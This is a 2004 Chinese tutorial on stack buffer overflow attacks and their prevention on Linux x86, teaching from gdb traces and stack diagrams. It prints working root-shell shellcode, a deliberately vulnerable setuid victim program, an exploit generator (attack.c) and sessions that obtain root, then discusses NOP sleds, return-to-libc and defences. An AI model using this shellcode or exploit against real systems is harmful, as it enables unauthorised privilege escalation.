缓冲区溢出攻击原理与防范
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
缓冲区溢出攻击的原理与防范
陈硕
2004-7-12
读者基础:熟悉C语言及其内存模型,了解x86汇编语言。
缓冲区溢出(buffer overflow)是安全的头号公敌,据报道,有50%以上的安全漏洞和缓冲区溢出有关。
C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。
本文以Linux on IA32(32-bit Intel Architecture,即常说的x86)为平台,介绍缓冲区溢出的原理与防范措施。
按照被攻击的缓冲区所处的位置,缓冲区溢出(buffer overflow)大致可分为两类:堆溢出1(heap overflow)和栈溢出2(stack overflow)。
栈溢出较为简单,我先以一些实例介绍栈溢出,然后谈一谈堆溢出的一般原理。
栈溢出原理
我们知道,栈(stack)是一种基本的数据结构,具有后入先出(LIFO, Last-In-First-Out)的性质。
在x86平台上,调用函数时实际参数(arguments)、返回地址(return address)、局部变量(local variables)都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针(stack pointer)寄存器ESP始终指向栈顶元素。
以图表1中的简单程序为例,我们先将它编译为可执行文件,然后在gdb中反汇编并跟踪其运行:
$ gcc stack.c –o stack -ggdb -mperferred-stack-boundary=2
在IA32上,gcc默认按8个字节对齐,为了突出主题,我们令它按4字节对齐,最末一个参数的用处在此。
图表1在每条语句之后列出对应的汇编指令,注意这是AT&T格式汇编,mov %esp, %ebp 是将寄存器ESP的值赋给寄存器EBP(这与常用的Intel汇编格式正好相反)。
// stack.c
#01 int add(int a, int b)
#02 {
// push %ebp
// mov %esp,%ebp
#03 int sum;
// sub $0x4,%esp
#04 sum = a + b;
// mov 0xc(%ebp),%eax
// add 0x8(%ebp),%eax
// mov %eax,0xfffffffc(%ebp)
#05 return sum;
// mov 0xfffffffc(%ebp),%eax
1本文把静态存储区溢出也算作一种堆溢出。
2 Stack 通常翻译为“堆栈”,为避免与文中出现的“堆/heap”混淆,这里简称为“栈”。
// leave
// ret
#06 }
#07
#08 int main()
#09 {
// push %ebp
// mov %esp,%ebp
#10 int ret = 0xDEEDBEEF;
// sub $0x4,%esp
// movl $0xdeedbeef,0xfffffffc(%ebp)
#11 ret = add(0x19, 0x82);
// push $0x82
// push $0x19
// call 80482f4 <add>
// add $0x8,%esp
// mov %eax,0xfffffffc(%ebp)
#12 return ret;
// mov 0xfffffffc(%ebp),%eax
// leave
// ret
#13 }
图表 1 典型的函数调用
当程序执行完第10行时,堆栈如图表2所示。
图中每格表示一个double word(4字节)。
图表 2 堆栈状况1
EBP是栈帧指针(frame pointer),在整个函数的运行过程中,它始终指向间于返回地址和局部变量之间的一个double word,此处保存着调用端函数(caller)的EBP值(第9行对应的两条指令正是起这个作用)。
EBP所指的位置之下是局部变量,例如EBP-4是变量ret 的地址,-4的补码表示正好是0xFFFFFFFC,第11行上方的movl指令将0xDEEDBEEF 存入变量ret。
当函数返回时,须将EBP恢复原值。
leave指令相当于:
mov %ebp, %esp // 先令esp指向saved ebp
pop %ebp // 弹出栈顶内容至ebp,此时esp正好指向返回地址,ebp也恢复原值
ret指令的作用是将栈顶元素(ESP所指之处)弹出至指令指针EIP,完成函数返回动作。
执行第11条语句时,先将add()的两个参数按从右到左的顺序压入堆栈,call指令会先把返回地址(也就是call指令的下一条指令的地址,此处为一条add指令3)压入堆栈,
3C语言为了实现变长参数调用(就像printf()),通常规定由调用端负责清理堆栈,这条add指令正是起平衡堆栈的作用。
然后修改指令指针EIP,使程序流程(flow)到达被调用函数处(第2行)。
当程序运行到第4行时,堆栈的情况如图表3所示。
图表 3 堆栈情况2
图中灰色部分是main()的栈帧(stack frame,又称活动记录:activation record),其下是add()的栈帧,从中可以看出,保存函数返回地址(return addr)的位置比第一个局部变量高8字节。
由此我们想到,函数可以修改自己的返回地址。
下面我们做一个试验。
// retaddr.c
#01 #include <stdio.h>
#02
#03 void malice()
#04 {
#05 printf("Hey, you've been attacked.\n");
#06 }
#07
#08 void foo()
#09 {
#10 int* ret;
#11 ret = (int*)&ret + 2; // get the addr of return addr
#12 (*ret) = (int)malice; // set my return addr to malice()
#13 }
#14
#15 int main()
#16 {
#17 foo();
#18 return 0;
#19 }
图表 4 改变函数返回地址
图表4列出了一个函数改变自己返回地址的程序,foo()函数将自己的返回地址改为malice()函数。
编译运行这个程序,结果如下:
$ gcc retaddr.c -o retaddr -ggdb -mpreferred-stack-boundary=2
$ ./retaddr
Hey, you've been attacked.
Segmentation fault (core dumped)
core dump 4发生在malice()返回时,我们来分析一下究竟发生了什么。
首先,在进入
main()函数后,在执行第17行之前,堆栈情况如图表5-(a)所示,这是main()的栈帧;随
后,进入函数foo(),在执行第11行之前,堆栈布局如图表5-(b)所示,灰色部分是调用端
main()的栈帧;执行第11行之后,ret 指向函数的返回地址(图表5-(c));第12行修改*ret ,
将返回地址设为malice()的入口。
foo()函数结束后,本应返回到main(),执行第18行的语句return 0;然而由于返回地址被修改,foo()函数返回后进入函数malice(),在执行第5行之前,堆栈的情况如图表5-(d)。
这时堆栈已被破坏,malice()函数的返回地址处存放的是main()函数保存的EBP 值(图中的 saved EBP* ),malice()函数返回后,会跳转到 saved EBP* 所指的地址,oops
!接下来发生的事情想必大家都知道了☺
(a) (b)
(c) (d)
图表 5 堆栈情况3
继续我们的试验:如何让这个程序正常退出?我想到的办法是,利用main()函数的局部变量伪造一个貌似合法的堆栈,让malice()返回后,程序得以安全退出。
办法很简单,在malice()的返回地址处放上exit()的入口地址☺,当然,我们还要顺便伪造传给exit()的参数。
改进后的main()见图表 6。
4
如果没有出现core dumped 字样,请先执行 ulimit –c unlimited 。
#02 #include <stdlib.h>
#15 int main() #16 {
#17 volatile int exit_val = 100; #18 volatile int dumy = 0;
#19 volatile void* ret_addr = &exit; #20 foo(); #21 }
图表 6 改进后的“修改函数返回地址”示例
使用volatile 关键字是为了防止编辑器将这些看似没用的局部变量优化掉。
进入函数malice()后,堆栈情况如图表 7-(a)所示。
与图表 5-(d)比较可知,malice()
会把ret_addr
作为自己的返回地址,我们已在此处填上了exit()的入口地址。
当malice()返回后,程序进入exit()函数,这时堆栈如图表 7-(b)所示(注意,exit()没有保存ESP )。
exit()函数会把100认为是传递给自己的参数,还会认为返回地址是0,但是exit()永不
返回,所以不会造成core dump ,程序正常结束,返回给操作系统的代码是100。
(a) (b)
图表 7 堆栈情况4
有了以上对函数调用栈的了解,接下来,我们可以谈谈栈上的缓冲区溢出了。
利用缓冲区溢出,我们能 1) 自由修改EIP ,控制程序流程;2) 植入shellcode ,获得root shell 。
所谓shellcode ,是指能调出shell 的程序,功能如同shellcode1.c (图表 8)。
#01 #include <unistd.h>
#02
#03 int main() #04 {
#05 char* name[2]; #06
#07 setuid(0); // required if bash is used #08 name[0] = "/bin/sh"; #09 name[1] = NULL;
#10 execve(name[0], name, NULL); #11 return 0; #12 }
图表 8 shellcode1.c
如果以root权限执行这段程序,我们就能获得一个root shell,Wow! 先试一把:
$ gcc -o shellcode1 shellcode1.c
$ whoami
schen
$ ./shellcode1
sh-2.05b$ whoami
schen
咦?怎么没有变身root?噢,忘了将shellcode1的owner设为root,还要设置suid位:
$ sudo chown root shellcode1
$ sudo chmod +s shellcode1
$ whoami
schen
$ ./shellcode1
sh-2.05b# whoami
root
sh-2.05b# id// 不放心,再确认一下☺
uid=0(root) gid=500(schen) groups=500(schen)
当然,我们不能直接使用图表8中的程序,需要把它转换为机器码,再注入缓冲区。
与这
段程序功能相同的机器码是5
char shellcode[] = // 为适应strcpy(), shellcode中不能出现'\0'
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff/bin/sh";
先用图表9的程序验证一下这段机器码的功能与图表8的C程序相同。
#01 char shellcode[] =
#02 "\xeb\x1f" // 同上,略
#06 int main()
#07 {
#08 int* ret;
#09
#10 ret = (int*)&ret + 2;
#11 (*ret) = (int)shellcode;
#12 return 0;
#13 }
图表 9 shellcode2.c
$ gcc shellcode2.c -o shellcode2 -mpreferred-stack-boundary=2
$ sudo chown root shellcode2
$ sudo chmod +s shellcode2
$ ./shellcode2
sh-2.05b# whoami
root
验证通过!接下来,我们写一个程序,让它以root权限运行的,在设法利用其中的漏5 shellcode的构造方法不是文本的重点,请参阅文献[1]第3章。
此处用到的shellcode取自文献[5]。
洞让它执行这段shellcode,这样就能获得root shell,达到攻击的目的。
程序代码见图表 10。
#01 #include <stdio.h>
#02 #include <string.h>
#03
#04 int main(int argc, char* argv[])
#05 {
#06 char buf[100];
#07
#08 printf("%p\n", buf); // we are cheating here ☺
#09
#10 if (argc > 1)
#11 strcpy(buf, argv[1]);
#12
#13 return 0;
#14 }
图表 10 victim.c
main()函数使用长度为100字节的局部数组(local array)buf充当缓冲区,而且故意犯了一个典型错误:使用strcpy而没有检查目标缓冲区大小。
main()函数的栈帧情况见图表 11。
数组是自低向高增长,如果写越界,就会改写堆栈高端的内容,那里存放着函数的返回地址。
图表 11 victim.c 中的 main() 栈帧
我们构造一个足够覆盖return addr的字符串(128字节)作为victim的参数,这个字符串的格式为:
其中addr均是double word,指向buf的首地址。
为便于实验,我们在victim中把buf的
首地址打印出来。
这种格式适合较大的缓冲区,它要求缓冲区buf长度大于shellcode的长度。
我写了个程序(attack.c,图表 13),将以上字符串存为文件,再读取文件内容作为victim 的参数。
victim用strcpy()将输入字符串复制到栈上的缓冲区buf,字符串中的addr域会覆盖main()的返回地址,让main()退出后执行shellcode。
当victim.c执行完第11行时,堆栈的情况如图表 12。
图表 12 被攻击后的堆栈
char shellcode[] =
"\xeb\x1f" // 同上,略
int main(int argc, char* argv[])
{
char buf[128];
int i;
int addr = 0xBFFFF980;
FILE* fp = NULL;
if (argc > 1)
addr = (int)strtoul(argv[1], NULL, 16);
for (i = 0; i < sizeof(buf) / sizeof(int); ++i)
*((int*)buf + i) = addr;
printf("Try addr : %p\n", addr);
memcpy(buf, shellcode, strlen(shellcode));
fp = fopen("buffer", "w");
if (fp) {
fwrite(buf, sizeof(buf), 1, fp);
fclose(fp);
}
return 0;
}
图表 13 attack.c
接下来,试验攻击。
先编译victim和attack,并给victim设上suid位。
$ gcc -o victim victim.c
$ gcc -o attack attack.c
$ sudo chown root victim
$ sudo chmod +s victim
然后运行victim获得buf的首地址,按地址生成攻击字符串,存为文件buffer。
$ ./victim
0xbffffad0
$ ./attack 0xbffffad0
Try addr : 0xbffffad0
用文件buffer的内容作为victim的参数,尝试攻击:
$ ./victim `cat buffer`
0xbffffa40
Segmentation fault
奇怪,受传入参数的影响,buf的首地址变了,攻击失败。
按照新地址生成攻击字符串,再试一次,这次我们成功拿到了root权限。
$ ./attack 0xbffffa40
Try addr : 0xbffffa40
$ ./victim `cat buffer`
0xbffffa40
sh-2.05b# whoami
root
以上攻击过程在RedHat Linux 8.0上验证通过,但在RedHat Linux 9.0中,由于victim 每次运行时buf的首地址不固定(前后波动可达数十KB),这种攻击方法十次中也难得成功一次。
为此,我们在shellcode之前添加一些NOP指令(opcode为0x90),以增加攻击的成功率,修改后的攻击字符串格式为:
这样只要addr指向NOP s区域中的任何一点,都能执行到shellcode,从而完成攻击。
如果缓冲区不够放下shellcode,那么可以采用第二种攻击字符串格式:
这时同样可以在shellcode之前填补一些NOP指令以提高攻击的成功率。
利用缓冲区溢出除了能修改函数返回地址,还可以修改函数的敏感参数(如传入的函数指针、密码字符串等),同样达到攻击的目的。
C++语言的vtable是个函数指针数组,自然也可成为攻击的目标。
防御措施
栈上的缓冲区溢出可以修改函数的返回地址和传入参数,如果在进入函数时,将这些敏感数据复制一份放在局部变量之下,在退出函数时用备份的数据覆盖原数据,那么即便出现缓冲区溢出,也没有多大伤害。
另外可以在局部变量之前放一个cookie,在退出函数时检查cookie是否被修改,从而监测有无缓冲区溢出。
这两点可由编译器帮我们做到。
栈上的数据既可以修改,又可以当作指令来执行,这是本文介绍的这种栈溢出攻击的条件。
现在某些操作系统如Solaris、OpenBSD以及不久之后的Windows有所谓的W^X特性,即一块内存区域不能既可写又可执行,这样就能防御这类栈溢出攻击。
不过道高一尺,魔高一丈,我们可以利用“return to libc”技术来达到攻击目的。
前面图表6的例子已经看到,函数的返回地址可设为某一库函数。
如果我们伪造一些参数(比如字符串"/bin/sh"),再修改函数返回地址,让它执行system()函数,一样可以获得root shell。
缓冲区溢出的历史几乎和C语言一样久远,C语言本身不检查下标越界,而常用的标准库函数如gets、strcpy、sprintf等等也无处指明目标缓冲区的大小。
受当时历史条件限制,C语言这么设计是出于效率考虑,而且C语言充分相信程序员的能力。
然而这多少也纵容了人们在编码时忽视检查缓冲区溢出。
而现在编程教材似乎也不强调让学生养成检查目标缓冲区大小以避免溢出的好习惯。
避免缓冲区溢出,我觉得最重要的还是从源头做起,培养良好的编程习惯,包括检查数组边界、用fgets替代gets、用strncpy或strlcpy替代strcpy,用snprint替代sprint等等。
(C99标准刚加入可以指明目标缓冲区大小的snprint 函数。
)只要小心在意,在编码时完全可以预防缓冲区溢出。
堆溢出简介
堆(heap)指的是以malloc()动态分配的内存,C++把以new动态分配的内存叫free store,其实和堆是一回事。
在heap、全局变量、静态(static)变量中溢出的情况都算作堆溢出。
堆溢出攻击的主要手段是改写内存中的密码、函数指针、文件名、UID等数据,达到提升特权级别的目的。
堆溢出通常要求对malloc()所用的数据结构有深入了解,它比栈溢出难度大。
参考文献
本文栈溢出的内容主要参考了文献[1],其第3章专门介绍怎样编写shellcode。
本文用到的shellcode取自文献[5]。
堆溢出请参考文献[1]第4章和[2]。
文献[3]和[4]对编写安全的软件有非常好的建议。
[6]、[7]、[8]是缓冲区溢出攻击的经典文献。
P.S. 因为我使用的绘图软件gpic不支持中文,所以本文所有图片中的文字均为英文,请读者见谅。
[1] Jack Koziol et al. The Shellcoder’s Handbook. Wiley. 2004.
[2] Cyrus Peikari, Anton Chuvakin. Security Warrior. O’Reilly. 2004.
[3] David A. Wheeler. Secure Programming for Linux and Unix HOWTO. 2003.
/secure-programs/.
[4] John Viega, Gary McGraw. Building Secure Software. Addison Wesley. 2002.
中译本:《构建安全的软件》。
钟向群王鹏译。
清华大学出版社。
2003年。
[5] 王勇。
Linux下缓冲区溢出攻击的原理及对策。
2003年。
/developerWorks/cn/linux/l-overflow/index.shtml
[6] Aleph One. Smashing The Stack For Fun And Profit. 1996.
/phrack/49/P49-14
[7] Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffr Overflow Study: Attacks & Defenses. 2002.
/library/report.pdf
[8] w00w00 on Heap Overflows. /files/articles/heaptut-chinese.txt。